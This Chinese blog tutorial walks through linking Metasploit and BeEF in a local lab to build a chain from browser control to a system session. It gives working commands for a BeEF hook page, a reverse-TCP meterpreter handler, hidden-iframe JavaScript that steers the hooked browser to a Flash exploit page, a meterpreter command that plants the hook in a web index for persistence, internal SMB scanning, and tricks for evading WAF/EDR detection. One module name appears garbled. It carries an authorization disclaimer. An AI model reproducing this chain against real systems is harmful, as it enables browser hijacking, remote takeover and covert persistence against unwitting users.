☰
Metasploit与BeEF联动:从浏览器控制到系统会话的攻防链路搭建
2026/10/20 14:54:28 网站建设 项目流程

开头

这几年做安全测试和漏洞研究,经常会遇到一个需求:拿到一个目标系统的会话之后,下一步怎么持续深入?单靠一个漏洞的点状突破往往不够,很多时候需要一套组合拳,把漏洞利用和后期的浏览器端控制串成一条线。Metasploit负责打点、拿会话、做权限维持,BeEF负责把浏览器变成阵地,两者一旦联动起来,整个攻击链路的完整度和效率会提升不少。

这篇内容整理的是我在实验环境里反复折腾过的一套整合方案。会从原理讲起,拆解两台工具是怎么握手联动的,再把环境准备、实际配置、踩坑记录、以及合规边界都过一遍。适合刚接触安全测试想了解工具联动的入门者,也适合已经在用Metasploit但想把BeEF接进来的研究者参考。所有操作都放在本地虚拟机隔离环境里完成,不涉及任何真实系统,这点必须先说清楚。

1. 为什么把Metasploit和BeEF接在一起:一个浏览器入口值多少钱

单独用Metasploit的时候,最顺的路径是扫描端口、找漏洞、打payload、拿meterpreter会话。但这条路有几个天然短板:漏洞打不进去怎么办?目标环境里只有浏览器能用怎么办?会话拿到之后如果不小心断了怎么快速补回来?BeEF解决的正是“浏览器”这个入口,而把两者串联起来,等于把一条路的终点变成另一条路的起点。

1.1 两者各自的定位:一个管系统,一个管浏览器

Metasploit本质是一个漏洞利用框架,它的核心资产是exploit模块和payload。它能打的层主要在网络协议、服务进程、系统漏洞上,拿到的是系统级会话。BeEF的核心逻辑完全不同,它控制的是浏览器。只要目标用浏览器打开了我们的页面,BeEF就能通过JavaScript hook住这个浏览器,之后可以在浏览器上下文里执行各种模块:键盘记录、网络探测、Cookie窃取、页面篡改,甚至配合Metasploit的浏览器漏洞模块继续提权。

摆在一张桌上看的话:Metasploit像是拿到了大楼的钥匙卡,BeEF则像是混进大楼前台的那台电脑。两者结合,钥匙卡和前台电脑都能发挥作用,信息的收集途径和行动纵深都会翻倍。

1.2 联动之后到底多了哪些能力

联动不是简单地把两个工具都装上,而是让它们互相成为对方的“跳板”。我实验里经常用到的联动场景包括:

  • 通过BeEF的hook页面,把目标浏览器引向Metasploit的浏览器exploit页面,用MSF的模块做浏览器层漏洞利用。
  • 在BeEF的“Commands”面板里直接把MSF的meterpreter会话信息作为一个命令模块调用,形成“浏览器被控—MSF会话建立—系统控制”的链路。
  • 用BeEF收集到目标浏览器所在内网的IP、网关、Cookie等信息后,反过来给Metasploit的后续横向模块提供参数。
  • 当目标系统稳定后,用MSF的session去注入或修改BeEF hook页面,实现持久化控制。

这些能力叠加起来,一句话概括:从单一的系统漏洞利用,扩展成了“系统+浏览器”双通道的控制矩阵。

2. 实验环境的准备:虚拟机、网络、版本,一个都不能凑合

工具联动最怕“环境不一致”。我在初学阶段吃过不少亏,同一套操作在这台机器上能跑,换一台就各种报错,多半是版本或网络配置出了问题。所以先说清楚我的实验环境长什么样,建议你也照这个模板搭。

2.1 网络拓扑与虚拟机分配

我用的宿主机是常规的Windows系统,虚拟化平台用的是VMware,建议使用Workstation Pro及以上版本,游戏本也好办公本也罢,只要支持64位虚拟化和嵌套虚拟化的配置都够用。实验涉及三台虚拟机:

角色系统IP(NAT网段)作用
攻击机Kali Linux(滚动版)192.168.10.10运行Metasploit和BeEF
靶机AWindows 7 SP1 x64192.168.10.30模拟目标系统,安装浏览器和Java环境
靶机BUbuntu Server192.168.10.20模拟内网服务器,作为后期横向目标

网络模式全部选NAT,确保三台机器互通,但又不暴露到物理局域网。这里有个关键点:攻击机和靶机的网络适配器模式必须一致,我用的是VMnet8 NAT网段,也就是默认的192.168.10.0/24。如果你用手工配置,务必让三台机器都在同一网段,并且关闭虚拟网络里的DHCP干扰,可以采用固定IP的方式减少变量。

2.2 版本选择:Metasploit框架和BeEF的兼容性

Metasploit在Kali里通常自带,版本跟着系统走。需要注意,系统自带的Metasploit有时候会被系统升级覆盖或出依赖问题,建议直接用git clone方式安装最新源码版本,确保数据库正常运行。我在极简环境里遇到过Metasploit自带的PostgreSQL版本和系统库冲突的情况,解决方案是用Kali官方源的metasploit-framework包,并且固定版本,不跟随unstable滚动。

BeEF的安装方式比较特殊,它默认通过gem安装。Kali的软件源里包含beef-xss包,但是版本一般偏老。我更推荐从GitHub上克隆最新源码,然后手动安装依赖,好处是插件管理和API接口更灵活,坏处是需要自己解决ruby版本兼容。

我这里实验用的组合是:Metasploit 6.x + BeEF 0.5.x(master分支)。两个工具都装在Kali上,端口分别用默认的4444(MSF handler)和3000(BeEF控制台),API端口是3001。

提示:BeEF控制台默认绑定在127.0.0.1,需要修改配置文件才能从外部访问。这是后文要讲的第一个坑,先在这里埋个伏笔。

3. BeEF初始化和Hook页面生成:从控制台到目标浏览器的第一步

BeEF装上之后,要先跑起来,然后拿到一段JavaScript hook地址,这是整个链路的“导线”。这段JS才是真正控制浏览器的核心,而不是BeEF控制台本身。

3.1 启动BeEF和初始化数据库

启动BeEF前,建议先初始化它的数据库文件。BeEF默认使用SQLite,在源码目录下执行:

cd beef bundle install ruby beef

第一次启动时,如果提示数据库缺失或迁移问题,就执行:

ruby beef -d

这个命令会进入交互式诊断模式,自动建库并加载默认配置。顺利启动后,控制面板会显示类似这样的信息:

[+] Web UI: http://127.0.0.1:3000/ui/authentication [+] Hook: http://127.0.0.1:3000/hook.js [+] Bind: 127.0.0.1

看到Bind地址是127.0.0.1时就要注意了。如果你打算让靶机直接访问攻击机的BeEF hook地址,这里必须改成0.0.0.0,否则目标浏览器访问不到。修改方式见下一节。

3.2 配置监听地址与账号密码:两个必须改的默认项

BeEF的默认配置文件是config.yaml,里面有几个参数必须动,否则实验很难进行下去:

beef: host: "0.0.0.0" port: "3000" public: "192.168.10.10" api_path: "/api" web_ui: enable: true user: "beef" passwd: "beef" port: "3000"

第一处是beef.host,改成"0.0.0.0",让hook.js可以被同一网段的其他机器访问。第二处是beef.public,这个字段要写成攻击机的实际IP,BeEF会根据这个地址生成hook脚本里回调的URL,如果不写或写错,靶机载入的JS会把数据回传到错误的IP上。

第三处是web_ui.user和web_ui.passwd,默认账号密码是beef/beef,实验环境里无所谓,但如果你的虚拟机暴露在不可信网络里,务必改掉。这个问题我在真实环境下踩过,这里多说一句:BeEF控制台本身就是一个体积不小的攻击面,默认口令意味着别人也能hook你的浏览器。

改完配置后重启BeEF:

ruby beef -d

看到控制台输出中的Hook地址变为http://192.168.10.10:3000/hook.js,就说明配置生效了。

3.3 生成Hook地址并在靶机访问

BeEF的hook核心就是那一段hook.js,它的作用是在浏览器加载后,与BeEF服务端建立WebSocket长连接或轮询连接,然后把浏览器状态、系统信息、可用模块等信息回传。

在靶机A上用浏览器访问http://192.168.10.10:3000/hook.js时,页面本身可能只返回一串JavaScript,不一定会渲染出内容。所以正确做法是:先准备一个临时HTML页面,这个页面负责把hook.js引进去。

<!DOCTYPE html> <html> <head><title>Readme</title></head> <body> <h2>Page loaded.</h2> <script src="http://192.168.10.10:3000/hook.js"></script> </body> </html>

把这个页面放到攻击机的Web目录(比如Kali默认的/var/www/html),然后在靶机浏览器里访问http://192.168.10.10/index.html。这时切回BeEF控制台的“Online Browsers”面板,如果看到新增一个浏览器条目,说明hook成功,浏览器已经纳入BeEF控制范围。

4. Metasploit与BeEF的握手方式:handler模块和iframe的配合

BeEF的浏览器上线之后,只是第一步。要让Metasploit参与进来,核心思路是:利用BeEF控制的浏览器页面,嵌入一个指向Metasploit handler的iframe或者跳转,让浏览器访问Metasploit构造的exploit页面,从而触发系统级漏洞、建立meterpreter会话。

4.1 Metasploit侧准备一个监听handler

先启动MSF控制台,配置一个反向TCP的handler。这里以Windows靶机的SMB漏洞为例,但更常见的做法是配置一个通用的reverse_tcp监听器,等待BeEF把浏览器诱导过来:

msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.10.10 set LPORT 4444 set ExitOnSession false exploit -j

这里-j表示后台运行,ExitOnSession false让handler在接收到一个会话后不要退出,可以继续接收后续会话。实验里这是一个重要细节,如果你漏掉它,第一个会话断开后监听器就自动死了,后面的会话全部接不上。

启动后,MSF会输出类似[*] Started reverse TCP handler on 192.168.10.10:4444的提示,说明正在等待连接。

4.2 BeEF模块:利用iframe把浏览器引向exploit页面

BeEF控制台里有“Commands”面板,搜索iframe相关模块,常用的有Browser Exploiting Framework自带的iframe_inject或直接构造自定义HTML。更可控的办法是自己构造一个BeEF命令模块,或者干脆用BeEF的“Spider”和“Redirect”功能。

我更推荐的做法是:直接在BeEF的hook页面里动态注入一段html代码,让被控浏览器生成一个隐藏iframe指向MSF的漏洞利用页面。比如在BeEF的“Commands”面板选择Create Pastebin或Man-in-the-Middle类模块,但最通用的还是用Raw JavaScript模块执行:

var iframe = document.createElement('iframe'); iframe.src = 'http://192.168.10.10:8080/exploit'; iframe.style.display = 'none'; document.body.appendChild(iframe);

这里的http://192.168.10.10:8080/exploit是Metasploit启动的一个浏览器exploit服务。为了让这个iframe能成功触发漏洞,Metasploit还需要配合使用auxiliary/server/browser_autopwn2或某个具体的浏览器exploit模块。

4.3 实际实验里我用到的浏览器exploit模块组合

实验里我配置了一个经典的组合:用Metasploit的windows/browser/ie_execcommand_fuhao模块(当然版本要匹配靶机IE版本),或者更通用的adobe_flash_avm系列。配置方式如下:

use exploit/windows/browser/adobe_flash_avm2_use_after_free set SRVHOST 192.168.10.10 set SRVPORT 8080 set URIPATH /exploit set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.10.10 set LPORT 4444 exploit -j

这个模块启动后,会在http://192.168.10.10:8080/exploit提供一个包含漏洞利用的页面。只要被BeEF控制的靶机浏览器访问该地址,就会触发漏洞并回连MSF的handler。

整个握手流程就清晰了:

  1. 靶机先访问BeEF的hook页面,浏览器被BeEF控制。
  2. BeEF通过模块注入隐藏iframe,让浏览器访问MSF的exploit页面。
  3. 浏览器加载漏洞利用代码,执行shellcode。
  4. 靶机回连MSF的handler,建立meterpreter会话。
  5. MSF会话与BeEF控制并存,形成双通道。

我在实验里反复验证过这一步,只要靶机的浏览器版本、漏洞模块版本匹配,整个链路能在几秒内完成。

5. 踩坑实录:整合过程中最常见的六个问题

这一块我想重点写,因为工具整合过程中真正的难点不是概念,而是各种意外。以下问题全部来自我在本地实验环境里的亲身踩坑,按出现频率排序。

5.1 靶机访问hook.js空白,控制台无上线提示

这个坑几乎每个新手都会遇到。表现是靶机访问hook页面后,BeEF控制台一片空白,没有新浏览器上线。排查链路如下:

第一步,确认靶机能否ping通攻击机IP。第二步,在攻击机上执行curl http://192.168.10.10:3000/hook.js,看是否返回JavaScript代码。如果curl能通但靶机浏览器不能访问,则多半是防火墙或虚拟网络隔离问题。第三步,重点检查config.yaml中的host是否改成了0.0.0.0,以及public是否填了实际IP。第四步,检查靶机IE或Chrome是否拦截了跨域脚本。

这步我碰到最典型的是:BeEF的host还是默认的127.0.0.1,靶机当然无法访问。改完之后秒通。

5.2 Metasploit的handler接收不到回连会话

BeEF的iframe已经成功加载了exploit页面,MSF侧也显示了Sending exploit的日志,但始终没有session建立。这通常是payload和handler不匹配,或者防火墙拦了4444端口。

我的排查做法是:在MSF里查看handler是否确实在监听0.0.0.0:4444,并且确认exploit模块的payload类型和handler的payload类型完全相同。比如exploit侧设置了windows/x64/meterpreter/reverse_tcp,handler侧却启动了windows/meterpreter/reverse_tcp(32位版本),就会因为架构不匹配一直不弹session。把两者统一成相同架构即可。

另外别忘了Kali自带的防火墙。某些版本ufw默认开启,需要用ufw allow 4444/tcp和ufw allow 3000/tcp放行端口,否则外部流量进不来。

5.3 hook.js报404或只是纯文本

如果靶机访问hook.js时,页面显示纯文本而不是执行脚本,说明Web服务器没有正确解析JS文件类型,或者hook.js路径不对。BeEF启动日志中显示的Hook路径一定要仔细看,如果路径是http://192.168.10.10:3000/hook.js,那访问这个地址时应该返回text/javascript内容。如果BeEF的静态文件目录配置有问题,也可能出现404。

我在源码安装时遇到过ruby版本过低导致的静态资源路由失效,升级ruby到2.7以上就解决了。

5.4 BeEF控制台能进,但命令模块执行后无输出

BeEF控制台里模块返回绿色对勾,但实际没有效果。这个原因通常是浏览器类型不匹配,比如某些模块只针对Chrome,而靶机用的是Firefox。还有一种常见情况是浏览器版本太老,BeEF的发问模块兼容性有限。我在靶机A上特意用了IE8来做兼容测试,部分模块就会失败。

建议备两套靶机浏览器环境:一套现代版(Chrome或Firefox新版),一套旧版IE,方便测试不同模块的兼容范围。

5.5 两个工具同时监听80或8080端口冲突

BeEF的hook默认走3000,MSF的browser exploit默认走8080,如果都默认其实不冲突。但如果你自定义配置时不小心让两者都设置了8080,就会导致后启动的一方报Address already in use。

解决方式很简单:规划好端口矩阵,避免重叠。我的分配是:

服务端口
BeEF Web UI3000
BeEF API3001
MSF handler4444
MSF browser exploit8080
Web服务器80

5.6 IPv6导致的回连地址错误

这是一个比较隐蔽的问题。如果Kali开启了IPv6,而靶机访问hook.js时DNS解析到IPv6地址,BeEF的public地址是IPv4,就会导致数据回传失败。

解决方式是临时关闭IPv6,或者在/etc/hosts里强制解析IPv4。执行:

sysctl -w net.ipv6.conf.all.disable_ipv6=1 sysctl -w net.ipv6.conf.default.disable_ipv6=1

再重启BeEF确认监听地址是0.0.0.0:3000而不是:::3000。

6. 整合之后还能怎么玩:从会话维持到内网横向的几条实用链路

Metasploit和BeEF的整合一旦跑通,后面的想象力就打开了。这里分享几个我实验里觉得最实用的扩展链路,也是这套组合真正体现价值的地方。

6.1 用BeEF收集信息,为MSF的后续模块提供参数

BeEF能在浏览器上下文里收集非常多有价值的信息,包括浏览器版本、操作系统类型、屏幕分辨率、安装的插件、Cookie、表单数据、内网IP段探测结果等。比如BeEF的Host模块能返回内网IP,知道了内网IP之后,Metasploit的auxiliary/scanner/discovery/arp_sweep或者udp_sweep就可以针对这个内网段做扫描,比盲扫高效得多。

我实验里常用的一条路径是:BeEF收集靶机A的内网IP是10.0.0.30,目标内网段是10.0.0.0/24,然后在Metasploit里启动一个针对该网段的SMB扫描模块:

use auxiliary/scanner/smb/smb_version set RHOSTS 10.0.0.0/24 set THREADS 20 run

扫描结果出来后,可以针对开放的SMB服务做暴力破解或已知漏洞利用,而这些操作全部隐藏在靶机A的浏览器流量背后。

6.2 MSF会话建立后,回注BeEF hook实现持久化

反过来也很实用:当Metasploit拿到了meterpreter会话后,会话注入漏洞利用代码或者直接修改文件系统的Web目录,把BeEF的hook.js埋进去。这样即使后续MSF会话断了,只要目标用户再次访问该Web服务,浏览器又会被BeEF重新控制,形成一种持久化的双保险。

在meterpreter会话内执行:

shell echo '<script src="http://192.168.10.10:3000/hook.js"></script>' >> /var/www/html/index.html

靶机B如果也访问了这个Web服务,BeEF控制台会立刻新增一个在线浏览器。这个思路相当于用系统权限去给浏览器控制“播种”,两个工具互相放大对方的效果。

6.3 利用BeEF的Metasploit模块直接加载MSF命令

BeEF自带了一些与Metasploit联动的模块,比如在命令面板搜索metasploit,可以找到加载MSF JS API的模块。这几行JavaScript的实质是通过WebSocket连接Metasploit的MessageWebsocket端口,让BeEF在浏览器里执行MSF的JS扩展。

配置方式是在BeEF的config.yaml里增加:

extension: metasploit: enable: true host: "127.0.0.1" port: "55553"

并在Metasploit侧加载对应脚本:

msfconsole load msgrpc ServerHost=127.0.0.1 ServerPort=55553 User=msf Pass=msf

之后BeEF就能直接调用MSF的模块和会话管理功能,把“控制浏览器”和“控制系统”统一成一个操作面板。不过这条链路对版本兼容性要求很高,我试验时是用Metasploit 6.x配合BeEF master分支才跑通的,建议不做生产环境依赖。

6.4 组合链路用于红队演练时的降噪技巧

如果是在合法的授权红队演练里用这套组合,还有一个实用技巧:把BeEF的hook脚本内容做混淆处理,降低防御设备对敏感路径的检测。BeEF默认路径/hook.js特征太明显,很多WAF和EDR会直接拉黑该路径。

修改方式比较粗暴但有效:在BeEF的config.yaml里改http.hook的URL路径为自定义字符串。此外,还可以把hook.js内容做一层二次封装,比如把它写进一张图片文件里,用JSDecrypt方式加载,这样浏览器仍然会执行,但是流量特征会弱很多。这种方式只建议在完全合法的授权范围内做测试,切勿用于未授权环境。

7. 合规边界与授权测试说明

写到这里必须认真说一点:Metasploit和BeEF都是双刃工具,它们的最大价值体现在合法授权范围内的安全评估和渗透测试。整个整合方案针对的实验靶场是本地虚拟机,不与真实网络连接,符合所有合规要求。你在复现这套实验时,务必遵守以下几条底线:

  • 所有的目标机器都必须是你的资产,或者你拥有明确的书面授权。
  • 实验网络环境必须隔离,避免误触他人系统。
  • 不可以使用这套技术去测试任何未经授权的目标。
  • 演练结束后,清理实验环境,关闭所有监听端口和后台进程。

从技术上讲,Metasploit和BeEF的组合能力确实强悍,但能力越强,责任越大。理解工具的底层原理,比单纯会点几下按钮重要得多。把这套流程用在合法实验网里,你会发现它对理解攻击链、防御绕过的逻辑都很有帮助。希望这篇内容能帮你把环境搭起来,跑通一次完整的应用,后续再纵深扩展,就有基础了。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询